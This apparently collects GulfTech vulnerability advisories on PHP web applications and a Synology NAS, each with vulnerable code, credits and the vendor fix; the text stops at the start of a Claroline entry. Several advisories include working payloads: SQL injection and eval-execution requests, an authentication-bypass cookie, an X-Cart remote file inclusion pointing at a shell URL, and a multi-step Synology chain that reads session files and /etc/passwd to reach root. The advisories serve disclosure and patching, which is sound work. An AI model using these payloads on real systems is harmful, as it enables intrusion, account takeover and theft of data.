It is possible to include arbitrary local files, and ultimately execute code within the vulnerable Mambo Open Source installation. The problem lies in the _setTemplate() function not properly sanitizing GPC data. 

// TemplateChooser Start
$mos_user_template = mosGetParam( $_COOKIE, 'mos_user_template', '' );
$mos_change_template = mosGetParam( $_REQUEST, 'mos_change_template', $mos_user_template );
if ($mos_change_template) {
	// check that template exists in case it was deleted
	if (file_exists( "$mosConfig_absolute_path/templates/$mos_change_template/index.php" )) {
		$lifetime = 60*10;
		$cur_template = $mos_change_template;
		setcookie( "mos_user_template", "$mos_change_template", time()+$lifetime);
	} else {
		setcookie( "mos_user_template", "", time()-3600 );
	}
}

As seen in the above code, there are several unsanitized variables introduced into the function, and $mos_change_template in particular is ultimately set as the current template and used through out the application. There are never any effective traversal checks, so we can include arbitrary locations on the local machine, and in some cases execute arbitrary code as long as the file is named index.php (i.e. /tmp/index.php) The reason for the restrictions are because of the strip_tags call in mosGetParam, but some older versions of php do not use a binary safe strip_tags (CAN-2004-0595) which allows for null characters. So, in those cases the file inclusion is much more dangerous and easy to exploit. 


Solution:
There has been a new version of the Mambo software released to fix the previously mentioned vulnerabilities. 

http://mamboxchange.com/frs/?group_id=5 

The above link contains all of the relative patches as well as the secured full releases. Users are encouraged to upgrade their Mambo installations as soon as possible. 


Credits:
James Bercegay of the GulfTech Security Research Team
            
PHPLib SQL Injection

Vendor: PHPLib
Product: PHPLib
Version: <= 7.4
Website: http://phplib.sourceforge.net/

BID: 16801 
CVE: CVE-2006-0887 CVE-2006-2826 
OSVDB: 23466 
SECUNIA: 16902 

Description:
The PHP Base Library aka PHPLib is a toolkit for PHP developers supporting them in the development of Web applications. The phpLib codebase can be found in a number of applications available today. Unfortunately some of the session emulation code is vulnerable to SQL Injection issues that in a worst case scenario can lead to remote code execution by using UNION and selecting arbitrary php code into an eval call. A new version og PHPLib has been released and users should upgrade their PHPLib libraries as soon as possible. 


Remote Code Execution:
There are some serious security issues in phplib's session handling that may allow an attacker to perform a range of attacks such as SQL Injection, and/or Remote Code Execution. 
## Propagate the session id according to mode and lifetime.
## Will create a new id if necessary. To take over abandoned sessions,
## one may provide the new session id as a parameter (not recommended).

function get_id($id = "") {
global $HTTP_COOKIE_VARS, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_SERVER_VARS;
$this->newid=true;

$this->name = $this->cookiename==""?$this->classname:$this->cookiename;

if ( "" == $id ) {
  $this->newid=false;
  switch ($this->mode) {
    case "get":
      $id = isset($HTTP_GET_VARS[$this->name]) ?
            $HTTP_GET_VARS[$this->name] :
            ( isset($HTTP_POST_VARS[$this->name]) ?
            $HTTP_POST_VARS[$this->name] :
            "") ;
    break;
    case "cookie":
      $id = isset($HTTP_COOKIE_VARS[$this->name]) ?
            $HTTP_COOKIE_VARS[$this->name] : "";
    break;
    default:
      die("This has not been coded yet.");
    break;
  }
}

### do not accept user provided ids for creation
if($id != "" && $this->block_alien_sid) {   # somehow an id was provided by the user
   if($this->that->ac_get_value($id, $this->name) == "") {
      # no - the id doesn't exist in the database: Ignore it!
      $id = "";
   }
}

The above code is from sessions.inc @ lines 85-121. The variable $id gets it's values from either GET or COOKIE and is never made safe before being passed to the function ac_get_value() which uses the variable in a query, thus allowing for SQL Injection. However, it is possible to manipulate the query in a way that php code is returned and passed to a vulnerable eval call. 
GET /phplib/pages/index.php3 HTTP/1.1
Host: example.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: Example_Session=' UNION SELECT 'cGhwaW5mbygpOw=='/*
If-Modified-Since: Sat, 18 Feb 2006 18:24:34 GMT
For example, the above request made to the index.php3 script that is shipped with phplib will successfully execute the phpinfo call. 


Solution:
PHPLib 7.4a has been released to address these issues. 


Credits:
James Bercegay of the GulfTech Security Research Team
            
SquirrelMail Arbitrary Variable Overwrite

Vendor: SquirrelMail
Product: SquirrelMail
Version: <= 1.4.7
Website: http://www.squirrelmail.org

BID: 19486 
CVE: CVE-2006-4019 
OSVDB: 27917 
SECUNIA: 21354 

Description:
SquirrelMail is a standards-based webmail package written in php. It includes built-in pure PHP support for the IMAP and SMTP protocols. Unfortunately there is a fairly serious variable handling issue in one of the core SquirrelMail scripts that can allow an attacker to take control of variables used within the script, and influence functions and actions within the script. This is due to the unsafe handling of "expired sessions" when composing a message. An updated version of SquirrelMail can be downloaded from their official website. Users are advised to update their SquirrelMail installations as soon as possible. 


Arbitrary Variable Overwriting:
SquirrelMail contains a vulnerability that may allow an authenticated user to overwrite important variables used by SquirrelMail, and ultimately read and or write arbitrary files to the system. Due to the nature of the vulnerability though other attacks may be possible. Again the attacker must first be authenticated, but in a real world scenario it usually is not that hard for an attacker to gain access to an email account that has a weak password via a dictionary attack or other methods. To see how this attack is possible first let's look at auth.php lines 50-67 
//  First we store some information in the new session to prevent
//  information-loss.
//
$session_expired_post = $_POST;
$session_expired_location = $PHP_SELF;
if (!sqsession_is_registered('session_expired_post')) {
    sqsession_register($session_expired_post,'session_expired_post');
}
if (!sqsession_is_registered('session_expired_location')) {
    sqsession_register($session_expired_location,'session_expired_location');
}

// signout page will deal with users who aren't logged
// in on its own; don't show error here
//
if (strpos($PHP_SELF, 'signout.php') !== FALSE) {
   return;
}

The above is executed on most pages as part of the authentication schema. It is fairly easy to see that an attacker can ultimately control the value of $_SESSION['session_expired_post'] by supplying a "post" to SquirrelMail containing whatever variables they would like to overwrite. The above code may be unsafe, but in itself is not vulnerable. To see where the vulnerability takes place we must look at compose.php lines 294 - 319 
if (sqsession_is_registered('session_expired_post')) {
sqgetGlobalVar('session_expired_post', $session_expired_post, SQ_SESSION);
/*
 * extra check for username so we don't display previous post data from
 * another user during this session.
 */
if ($session_expired_post['username'] != $username) {
    unset($session_expired_post);
    sqsession_unregister('session_expired_post');
    session_write_close();
} else {
    foreach ($session_expired_post as $postvar => $val) {
        if (isset($val)) {
            $$postvar = $val;
        } else {
            $$postvar = '';
        }
    }
    $compose_messages = unserialize(urldecode($restoremessages));
    sqsession_register($compose_messages,'compose_messages');
    sqsession_register($composesession,'composesession');
    if (isset($send)) {
        unset($send);
    }
    $session_expired = true;
}

In the above code we see a foreach loop that dynamically evaluates all the elements of $_SESSION['session_expired_post'] but first a check is done to make sure the username stored in $_SESSION['session_expired_post'] is the same as the currently logged in user. For an attacker this check is easy to bypass because all the data contained in $_SESSION['session_expired_post'] is supplied by the attacker. From here an attacker can now overwrite any variable which leads to a number of possible attack vectors. 


Solution:
SquirrelMail 1.4.8 has been released to address these issues. I would like to thank Thijs Kinkhorst and the rest of the SquirrelMail team for a prompt resolution to this issue 


Credits:
James Bercegay of the GulfTech Security Research Team
            
Gallery 2 Multiple Vulnerabilities

Vendor: Bharat Mediratta
Product: Gallery 2
Version: <= 2.0.2
Website: http://gallery.menalto.com/

BID: 16940 
CVE: CVE-2006-1127 CVE-2006-1128 
OSVDB: 23596 23597 
SECUNIA: 19104 
PACKETSTORM: 44358 

Description:
Gallery2, the open source web based photo album organizer is one of the most popular php web applications available today. Gallery2 suffers from a number of vulnerabilities including IP Spoofing via X_FORWARDED_FOR that may allow a malicious user to hide their identity, script injection via the faulty X_FORWARDED_FOR implementation, and also arbitrary file access which could ultimately lead to the deletion of arbitrary files on the webserver. A new version of Gallery 2 has been released and users should upgrade their Gallery 2 installations. 


IP Spoofing:
There is an issue with Gallery2 that allows for users to perform actions anonymously by spoofing their identity with a bogus X_FORWARDED_FOR HTTP Header. 

function getRemoteHostAddress() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else if (isset($_SERVER['HTTP_CLIENT_IP'])) {
    $ip = $_SERVER['HTTP_CLIENT_IP'];
} else if (isset($_SERVER['REMOTE_ADDR'])) {
    $ip = $_SERVER['REMOTE_ADDR'];
} else {
    return null;
}
return $ip;
}

The above code is responsible for the previously mentioned problem because it allows the possibly user supplied header X_FORWARDED_FOR to take precedence over REMOTE_ADDR. Unfortunately this same issues can be levereged to carry out more sinister attacks. 


Script Injection:
Because the IP Address returned by Gallery2 is thought to be safe there are a number of other issues that can be exploited by sending a bogus X_FORWARDED_FOR header. For example, when adding comments in an album the user's IP is logged and displayed along with said comment. This could be used to execute arbitrary client side code such as JavaScript in the context of a user's (admin, maybe?) browser. 


Arbitrary File Access:
Gallery2 is vulnerable to an arbitrary file access issue within it's session handling class. This vulnerability allows for an attacker to possibly access certain file information, and delete arbitrary files on the web server. (such as the config file or access control files like .htaccess) 

function _isSessionValid() {
global $gallery;
$platform = $gallery->getPlatform();

if (!empty($this->_sessionId)) {
    /* Check if the session has expired */
    $sessionFile = $gallery->getConfig('data.gallery.sessions') . $this->_sessionId;
    if ($platform->file_exists($sessionFile)) {
	list ($ret, $lifetime) =
	    GalleryCoreApi::getPluginParameter('module', 'core', 'session.lifetime');
	if ($ret->isError()) {
	    return array($ret->wrap(__FILE__, __LINE__), null);
	}
	list ($ret, $inactivityTimeout) =
	    GalleryCoreApi::getPluginParameter('module', 'core',
					       'session.inactivityTimeout');
	if ($ret->isError()) {
	    return array($ret->wrap(__FILE__, __LINE__), null);
	}
	$lifetimeCutoff = time() - $lifetime;
	$inactiveCutoff = time() - $inactivityTimeout;
	$statData = $platform->stat($sessionFile);
	if ($statData['mtime'] < $inactiveCutoff || $statData['ctime'] < $lifetimeCutoff) {
	    /* The session has timed out, remove it */
	    $platform->unlink($sessionFile);
	} else {
	    return array(GalleryStatus::success(), true);
	}
    } else {
	return array(GalleryStatus::success(), true);
    }
}
return array(GalleryStatus::success(), false);
}

The above code is the function from the Gallery2 session class that checks to see whether or not a session is valid. Unfortunately this code, like most of the code in the session class relies on the value of $this->_sessionId to be valid. However, at the very beginning of the session class a check is made for a session cookie, and if that cookie is present then it is blindly loaded into _sessionId with absolutely no sanitation. 
* Sanitize the session id (which may have come from user input) to
* avoid possibly writing outside the session storage dir.
*/
$this->_sessionId = preg_replace('/[^a-zA-Z0-9]/', '', $this->_sessionId);

The above code DOES sanitize the session id, but not until after the session id is already sent to the _isSessionValid() function. So, it is no problem for an attacker to specify a path outside of the web directory, and because there is nothing following the user supplied data within the constructed $sessionFile path, there is no need to specify a null byte. So, this works with magic quotes on as well as with magic quotes off. This could lead to other attacks such as gaining access to a restricted web directory by deleting a .htaccess file using the previously mentioned vulnerability. 


Solution:
Thanks to Bharat Mediratta for a very prompt resolution to these issues. A new version of Gallery 2 has been released today. 

http://gallery.menalto.com/gallery_2.0.3_released 

Users should upgrade their Gallery 2 installations as soon as possible to the latest available version. 


Credits:
James Bercegay of the GulfTech Security Research Team
            
phpRPC Remote Code Execution

Vendor: Robert Hoffman
Product: phpRPC
Version: <= 0.7
Website: http://sourceforge.net/projects/phprpc/

BID: 16833 
CVE: CVE-2006-1032 
OSVDB: 23514 
SECUNIA: 19028 
PACKETSTORM: 44267 

Description:
phpRPC is meant to be an easy to use xmlrpc library. phpRPC is greatly simplified with the use of database/rpc-protocol abstraction. It should run on any php server with most data bases. Unfortunately, there is a easily exploitable remote php code execution vulnerability in the phpRPC library that allows an attacker to execute arbitrary code on the affected webserver. This vulnerability, like previously discovered vulnerabilities in various implementations of the XMLRPC protocol is possible because of unsanitized data being passed to an eval call. This of course could ultimately lead to a compromise of the under lying web server, and disclosure of sensitive data. 


Remote Code Execution:
There is a very serious, easy to exploit remote code execution issue in the phpRPC library. This issue takes place in the file rpc_decoder.php within the decode() function. This function is basically responsible for decoding the incoming XML data into php readable data that can be used by the application. 

/**
* Tells the decoder to process the xml data
*
* Used internaly but can also be used to send xml data to the decoder
* @param string $data Transforms $data into a php readable array
* @return array Returns an array containing the extracted data
*/
function decode($data) {

$this->parser = xml_parser_create($this->encoding);

	xml_set_object($this->parser, &$this);
	xml_set_element_handler($this->parser, "tag_open", "tag_close");
	xml_set_character_data_handler($this->parser, "cdata");
	xml_parser_set_option($this->parser, XML_OPTION_SKIP_WHITE, 1);
	xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 1);
	xml_parser_set_option($this->parser, XML_OPTION_TARGET_ENCODING, $this->encoding);
	xml_parse($this->parser, $data);
	xml_parser_free($this->parser);

if ($this->debug == 1) { $this->dump(); }
eval($this->code);
return $params;
}

The variable $this->code in our case is constructed by the cdata() function, and is never sanitized when placed within a base64 tag. I guess this is because it is assumed that the data will be base64 encrypted and thus harmless, but the base64_decode call isn't really executed until AFTER the vulnerable eval call parses the data within "$this->code". 
<?xml version="1.0"?>
<methodCall>
<methodName>test.method
	<params>
		<param>
		<value><base64>'));phpinfo();exit;
		</param>
	</params>
</methodCall>

The above xml request sent to the phpRPC server would successfully execute the phpinfo() function, but this could just as easily have been some malicious payload. The phpRPC library is not as popular as other php XMLRPC implementations, but it is used fairly often and in popular open source projects such as runcms and exoops. 


Solution:
Several attempts to contact the developers were made, but according to the current exoops webmaster the phpRPC author stopped maintaining the project around 2004. Also, runcms were contacted as far back as July/August 2005 about this issue, and did respond confirming they would look in to it. However, as of last time I checked runcms still contained the vulnerable phpRPC libraries. Since there is no patch to be released, and since the project is seemingly un maintained all users are encourage to quit using the phpRPC library until a patch becomes publicly available. 


Credits:
James Bercegay of the GulfTech Security Research Team
            
Synology Photostation Multiple Vulnerabilities

Vendor: Synology
Product: Synology Photostation
Version: <= 6.7.2-3429
Website: http://www.synology.com


###########################################################################
                     ______      ____________          __  
                    / ____/_  __/ / __/_  __/__  _____/ /_ 
                   / / __/ / / / / /_  / / / _ \/ ___/ __ \
                  / /_/ / /_/ / / __/ / / /  __/ /__/ / / /         
                  \____/\__,_/_/_/   /_/  \___/\___/_/ /_/ 
                                                                
                     GulfTech Research and Development                                                                 

###########################################################################
#      Synology PhotoStation <= 6.7.2-3429 Multiple Vulnerabilities       #
###########################################################################
 

Released Date: 2018-01-08
Last Modified: 2017-07-22
 Company Info: Synology
 Version Info: 
              Vulnerable
               Synology PhotoStation <= 6.7.2-3429


--[ Table of contents

00 - Introduction
    00.1 Background

01 - SQL Injection
    01.1 - Vulnerable code analysis
    01.2 - Remote exploitation

02 - File Disclosure
    02.1 - Vulnerable code analysis
    02.2 - Remote exploitation

03 - Credit

04 - Proof of concept

05 - Solution

06 - Contact information


--[ 00 - Introduction

The purpose of this article is to detail the research that I have completed 
regarding Synology PhotoStation. The issues I have discovered can be used
in conjuction with one another to gain remote preauth root access to the
affected Synology NAS device.

--[ 00.1 - Background

The Synology Diskstation NAS by default installs several DSM applications
unless specified otherwise during setup. One of these default applications
installed is PhotoStation. PhotoStation is a web based photo manager.


--[ 01 - SQL Injection

There are a number of SQL Injection issues within the PhotoStation 
application. Since PhotoStation uses a PostgreSQL database exploitation is
trivial since multiple statements can easily be injected.

--[ 01.1 - Vulnerable code analysis

Below is vulnerable code from /photo/include/blog/label.php which takes GPC
data and uses it directly in an SQL query

---------------------------------------------------------------------------

if($_POST['action'] == 'get_all_labels') {
    echo SYNOBLOG_LABEL_GetLabelComboData($_POST['id']);
} else if($_POST['action'] == "get_article_label" && 
isset($_POST['article_id'])) {
    echo SYNOBLOG_LABEL_GetArticleRawLabel($_POST['article_id']);
} else if($_POST['action'] == "get_invalid_labels") {
    echo SYNOBLOG_LABEL_GetInvalidLabels();
}
---------------------------------------------------------------------------

Now let's have a look at any one of these functions.

---------------------------------------------------------------------------

function SYNOBLOG_LABEL_GetArticleRawLabel($article_id)
{
  global $blog_str_article_label_none;

    $query = "Select label_name from blog_article_label where article_id = 
    ".$article_id." order by label_name;";
    $db_result = PHOTO_DB_Query($query);

    while(($row = PHOTO_DB_FetchRow($db_result))) {
        if($row[0] == "no_label") {
            continue;
        }
        $result[] = $row[0];
    }

  return json_encode($result);
}

---------------------------------------------------------------------------

As you can see from the above code the SQL injection is fairly straight
forward as $article_id comes directly from the $_POST['article_id']
variable. In addition to this SQL Injection is also an SQL Injection within
the /photo/include/synotheme.php file within the SYNOTHEME_GET_BKG_PIC()
function due to the "type" parameter never being sanitized.

---------------------------------------------------------------------------

function SYNOTHEME_GET_BKG_PIC($mode, $type)
{
  $show_bkg_img_key = 'photo' === $type ? 'v6_show_bkg_img' : 
  'show_bkg_img';
  if (null == $show_bkg_img =  csSYNOPhotoMisc::GetConfigDB($mode, 
  $show_bkg_img_key, $type . '_config')) {
    csSYNOPhotoMisc::UpdateConfigDB('theme', $show_bkg_img_key, '3', 
    $type . '_config');
    $show_bkg_img = '3';
  }

---------------------------------------------------------------------------

In the above code the "type" variable is used to specify the table name
within an SQL query. Unfortunately this "type" parameter is taken directly 
from GPC data and never sanitized. No authentication is needed to exploit
either of the previously mentioned SQL Injection vulnerabilities.

--[ 01.2 - Remote exploitation

Exploiting this issue is trivial, and can be achieved by simply sending a 
post request containing a SQL Injection string within the "article_id"
parameter.

---------------------------------------------------------------------------

POST /photo/include/blog/label.php HTTP/1.1
Host: diskstation
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0)
Accept: */*
Accept-Language: en-US,en;q=0.5
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://diskstation/blog/
Content-Length: 60
Connection: close

action=get_article_label&article_id=1; SELECT version(); -- 

---------------------------------------------------------------------------

The above request would successfully return the version of the PostgreSQL 
database to the attacker. However, it is also possible to gain a remote 
root shell with a decent bit of work by using the following steps.

##[ STEP 00: 
First we have to leverage the SQL Injection to enable the PhotoStation 
authentication system. By default the PhotoStation application uses DSM to 
authenticate. We need to change this so that it uses PhotoStation to 
authenticate. This can be accomplished with the following query.

---------------------------------------------------------------------------

UPDATE photo_config SET config_value=0 WHERE config_key='account_system';

---------------------------------------------------------------------------

Now the PhotoStation authentication system should be successfully enabled 
and ready for use. 

##[ STEP 01: 

Once the PhotoStation authentication system is successfully enabled we can 
create an admin user and authenticate as this user to escalate our current
privileges from PhotoStation admin to root.

---------------------------------------------------------------------------

INSERT INTO photo_user (userid, username, password, admin) VALUES (42, 
'test', '098f6bcd4621d373cade4e832627b4f6', TRUE);

---------------------------------------------------------------------------

We now can login as the admin user "test" with the password "test".

##[ STEP 02:

The next step is to create a "video" record with a malicious "path" value 
via SQL Injection. This "path" value holds the location of the file we want 
to disclose as the root user. The PhotoStation admin panel is fairly secure 
and does not give us many options for exploiting file handling issues. 
However, the PhotoStation application trusts the "path" data taken 
from the database when copying files, and does not validate it. We can 
leverage this lack of sanity checks to copy any files we want as root to 
the default photo directory. 

---------------------------------------------------------------------------

INSERT INTO video (id, path, title, container_type) VALUES (42, 
'/usr/syno/etc/private/session/current.users', 'test', 'test');

---------------------------------------------------------------------------

The above record inserted would allow an attacker to copy the sessions db 
to the default photo directory once a file copy operation is triggered by 
the album_util.php script. This is because the copy and move operations use
the "path" data taken from the database as the source argument. This file
will be copied with root permissions by the "synphotoio" binary.

##[ STEP 03:

The next step for us is to trigger a file copy operation via album_util.php 
where our malicious "path" value will be used by the "synphotoio" binary to 
make a copy of the file as root in the default photo directory.

---------------------------------------------------------------------------

POST /photo/include/photo/album_util.php HTTP/1.1
Host: diskstation
User-Agent: Mozilla/5.0 
Accept: */*
Accept-Language: en-US,en;q=0.5
X-SYNO-TOKEN: ambru48o5nm3kpcla82j1b98s4
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://diskstation/photo/
Content-Length: 45
Cookie: stay_login=1; PHPSESSID=c4kclpg4j3bndcpuq4pvs9of10;
Connection: close

action=copy_items&video_list=42&destination=2f

---------------------------------------------------------------------------

The above request will successfully copy the user sessions database to the
default photo directory. We just have to make sure the "video_list" ID
corresponds to the ID that we previously inserted into the database so that
the "path" data we specified will be used in the file copy operation.

##[ STEP 04:

For the next step we have to be slick and use a file handling bug in the 
file_upload.php script to copy the file disclosed by root to the web 
directory for viewing. The only reason we are able to accomplish this is 
because we're allowed to specify the full URL sent to a file_get_contents() 
call. We could also use this bug to read any file that the web server has 
access to. But, for now we will just copy the file we recently disclosed as 
root since these particular file handling operations take place as an 
unprivileged user and would limit the attacker impact greatly.

---------------------------------------------------------------------------

POST /photo/include/file_upload.php?dir=2f2e2e2f4061707073746f72652f50686f7
46f53746174696f6e2f70686f746f2f&name=1/&fname=pwn&sid=ambru48o5nm3 HTTP/1.1
Host: diskstation
User-Agent: Mozilla/5.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: PHPSESSID=ambru48o5nm3; photo_remember_me=1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 57

action=aviary_add&url=file:///volume1/photo/current.users

---------------------------------------------------------------------------

As you can see from the above request we are allow to specify a file:// URL
and as a result copy the disclosed sessions db to the web directory as a 
file named pwn.jpg and view all admin sessions. If it was not for this file
handling bug in file_upload.php an attacker would have to access the file 
via SMB or some other method thus making the attack much more complicated.

##[ STEP 05:

Once we have the sessions database we now have the session ID and IP
addresses of administrators. We can use this information to now login to
the DSM as an admin. It is possible to use headers such as "Client-IP" to 
successfully forge the IP address of the stolen session data. So, the fact 
that sessions are restricted by IP address does not really matter at all in
this particular case.

At this point it is game over as DSM admin users are able to run commands
as root and have complete and total access to the entire system.


--[ 02 - File Disclosure

PhotoStation is vulnerable to a file disclosure issue. This issue is due to
an unsafe file_get_contents() call within the SYNOPHOTO_AVIARY_Add() 
function that allows an attacker to specify the full URL used.

--[ 01.1 - Vulnerable code analysis

Below is vulnerable code from /photo/include/file_upload.php which makes 
use of a user supplied URL to populate the contents of $image_data.

---------------------------------------------------------------------------

$image_data = file_get_contents($_REQUEST['url']);

---------------------------------------------------------------------------

The above code allows authenticated users to easily disclose file contents
with the privilege of the web server, or to possibly conduct SSRF attacks 
against the internal network.

--[ 01.2 - Remote exploitation

Exploiting the issue requires user authentication, but other than that it
is fairly trivial to take advantage of. Also, it should be noted that the
required authentication can be acquired by using the previously mentioned
SQL Injection issues in order to create arbitrary user accounts.

---------------------------------------------------------------------------

POST /photo/include/file_upload.php?dir=2f2e2e2f4061707073746f72652f50686f7
46f53746174696f6e2f70686f746f2f&name=1/&fname=pwn&sid=ambru48o5nm3 HTTP/1.1
Host: diskstation
User-Agent: Mozilla/5.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: PHPSESSID=ambru48o5nm3; photo_remember_me=1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 57

action=aviary_add&url=file:///etc/passwd

---------------------------------------------------------------------------

The above request would successfully copy the contents of the passwd file
to http://diskstation/photo/pwn.jpg where it's contents could be viewed by 
the attacker.


--[ 03 - Credit

James Bercegay
GulfTech Research and Development


--[ 04 - Proof of concept

We strive to do our part to contribute to the security community.
Metasploit modules for issues outlined in this paper can be found online.


--[ 05 - Solution

These issues were addressed in update 6.7.3-3432

--[ 06 - Contact information

Web
https://gulftech.org/

Mail
security@gulftech.org


Copyright 2018 GulfTech Research and Development. All rights reserved.
            
Mambo SQL Injection

Vendor: Miro International Pty Ltd
Product: Mambo
Version: <= 4.5.4
Website: http://www.mamboserver.com/

BID: 20366 
OSVDB: 50002 

Description:
Mambo is a popular Open Source Content Management System released under the GNU General Public license (GNU GPL). There are unfortunately some serious flaws in Mambo's login feature that allow for authentication bypass. This can be used to access arbitrary accounts, but even worse can be used to eventually install harmful modules and execute arbitrary php code on the server running Mambo. The Mambo team have committed fixes for these issues to SVN, and patches are available from the official Mambo website. Users are encouraged to patch the vulnerable functionality or update their Mambo installation as soon as possible. 


Authentication Bypass
Mambo is vulnerable to an Authentication Bypass issue that is due to an SQL Injection in the login function. The SQL Injection is possible because the $passwd variable is only sanitized when it is not passed as an argument to the function. 
function login( $username=null,$passwd=null ) {
global $acl;

$usercookie = mosGetParam( $_COOKIE, 'usercookie', '' );
$sessioncookie = mosGetParam( $_COOKIE, 'sessioncookie', '' );
if (!$username || !$passwd) {
	$username = trim( mosGetParam( $_POST, 'username', '' ) );
	$passwd = trim( mosGetParam( $_POST, 'passwd', '' ) );
	$passwd = md5( $passwd );
	$bypost = 1;
}
$remember = trim( mosGetParam( $_POST, 'remember', '' ) );

if (!$username || !$passwd) {
	echo "<script> alert(\""._LOGIN_INCOMPLETE."\"); window.history.go(-1); </script>\n";
	exit();
} else {
	$username = $this->_db->getEscaped($username);
	$this->_db->setQuery( "SELECT id, gid, block, usertype"
	. "\nFROM #__users"
	. "\nWHERE username='$username' AND password='$passwd'"
	);
	

As seen in the above code it is assumed that the $passwd variable is an md5 hash, but when sending a cookie with values like "usercookie[password]=%27 or 1=1/*; usercookie[username]=admin" the query is broken, and the password is never checked correctly. This issue would probably be limited to SQL Injection, but Mambo allows a user to change their password without knowing the original password. They just have to be logged in to the particular account that they want to change the password for. Using this strategy an attacker could login as the admin using the authentication bypass vulnerability, change the admin password, and then successfully log into the admin section where uploading arbitrary php code via the "install module" function. 


Solution:
The Mambo development team have committed updates to SVN, and the patches can be obtained by visiting the official mambo website. 


Credits:
James Bercegay of the GulfTech Security Research Team
            
X-Cart Arbitrary Variable Overwrite

Vendor: Qualiteam
Product: X-Cart
Version: <= 4.1.3
Website: http://www.x-cart.com/

BID: 20108 
CVE: CVE-2006-4904 
OSVDB: 28957 
SECUNIA: 22005 

Description:
X-Cart is a commercial web based eCommerce solution written in PHP and MySQL that allows for webmasters to host an online marketplace. Unfortunately an attacker may be able to execute arbitrary php code on an X-Cart installation by overwriting key configuration variables. However, because the vulnerability allows for any variables to be overwritten other attacks such as SQL Injection are probably possible as well. Qualiteam have released an updated version of their X-Cart software, and users are strongly encouraged to upgrade as soon as possible or delete the cmpi.php script that resides within the payments directory. 


Arbitrary Variable Overwriting
X-Cart comes with a number of payment processing scripts. Unfortunately the Cardinal payment processing script (cmpi.php) is vulnerable to arbitrary variable overwriting that allows for an attacker to conduct various attacks including arbitrary php code execution. Let's have a look at the vulnerable code in question. 
if ($HTTP_POST_VARS) {
	foreach ($HTTP_POST_VARS as $var => $value) {
		$$var = $value;
	}
}

As we can see every single post variable is dynamically evaluated. This is especially dangerous because register globals and magic quotes gpc settings do not affect an attackers ability to overwrite key configuration variables. 

stand_alone=0&httpsmod_active=1&orderids=1&close_frame=1&xcart_dir=http://shell 

By sending a post request with the above variables set will automatically include an execute a remote arbitrary file on the vulnerable X-Cart installation, which in turn leads to remote php code execution on the underlying web server in most cases. 


Solution:
The X-Cart team were very quick and professional in their response to this issue.An updated version of X-Cart has been released and users are encouraged to upgrade as soon as possible. 


Credits:
James Bercegay of the GulfTech Security Research Team
            
CubeCart Multiple Vulnerabilities

Vendor: Devellion Limited
Product: CubeCart
Version: <= 3.0.12
Website: http://www.cubecart.com

BID: 19782 
CVE: CVE-2006-4525 
OSVDB: 28279 28280 28281 
SECUNIA: 21659 

Description:
CubeCart is a very popular web application written in php that allows for an individual to open up a fully functioning online ecommerce service. Unfortunately CubeCart is vulnerable to Cross Site Scripting attacks, SQL Injection attacks, and possible remote code execution due to an attacker being able to include arbitrary php code. An updated version of CubeCart has been released and all users are encouraged to upgrade as soon as possible. 


SQL injection:
There is an SQL injection in CubeCart due to an uninitialized array being used in an sql query. Let's have a look at a section of the vulnerable code from viewCat.inc.php 
$searchwords = split ( "[ ,]", treatGet($_GET['searchStr']));   
foreach($searchwords as $word){
	$searchArray[]=$word;
}

$noKeys = count($searchArray);
$like = "";
for ($i=0; $i<$noKeys;$i++) {
	
$ucSearchTerm = strtoupper($searchArray[$i]);
if(($ucSearchTerm!=="AND") && ($ucSearchTerm!=="OR")){
$like .= "(name LIKE '%".$searchArray[$i]."%' OR description LIKE '%".$searchArray[$i]."%' OR 
productCode LIKE '%".$searchArray[$i]."%') OR ";

As seen in the above code, the searchArray array is never initialized, thus allowing an attacker to inject arbitrary elements into the array. To exploit this issue all an attacker would have to do is append searchArray[]=SQL to their search request. Of course an attacker would need to replace "SQL" with a valid SQL Statement. 


Cross Site Scripting:
There is also a cross site scripting issue in cube cart due to an uninitialized array being used. The "links" array is never initialized, and an attacer may use this to inject arbitrary html or javascript into the rendered template thus allowing for cross site scripting attacks. It should be noted that register globals must be on in order to exploit this issue. 


Arbitrary File Inclusion:
There is a very dangerous file inclusion issue that can be used to remotely execute code on a target system as long as magic quotes gpc is disabled (the default php setting). This is due to the improper use of a regular expression in order to validate the vulnerable variable. Below i code from the vulnerable file named gateway.inc.php 
// sanitise gateway variable
if($basket == TRUE && isset($_POST['gateway']) && eregi("[0-9a-z_-]",$_POST['gateway'])) {
	
//$basket = $cart->setVar($basket['shipCost'],"shipCost");
$basket = $cart->setVar($_POST['gateway'],"gateway");

include("modules/gateway/".$_POST['gateway']."/transfer.inc.php");

The above regular expression actually only checks for the prescence of alphanumeric (dashes and underscores also) characters in the "gateway" variable. So, as long as an attacker doesn't specify a string consisting of only illegal characters then the vulnerability is possible to exploit. Successful exploitation allows for remote php code execution via the inclusion of arbitrary files. 


Solution:
CubeCart were very quick to release an updated version, and users are encouraged to upgrade as soon as possible. 


Credits:
James Bercegay of the GulfTech Security Research Team
            
Claroline Arbitrary File Inclusion

Vendor: Claroline
Product: Claroline
Version: <= 1.7.7
Website: http://www.claroline.net/

BID: 20056 
CVE: CVE-2006-4844 
OSVDB: 28827 
SECUNIA: 21931 

Description:
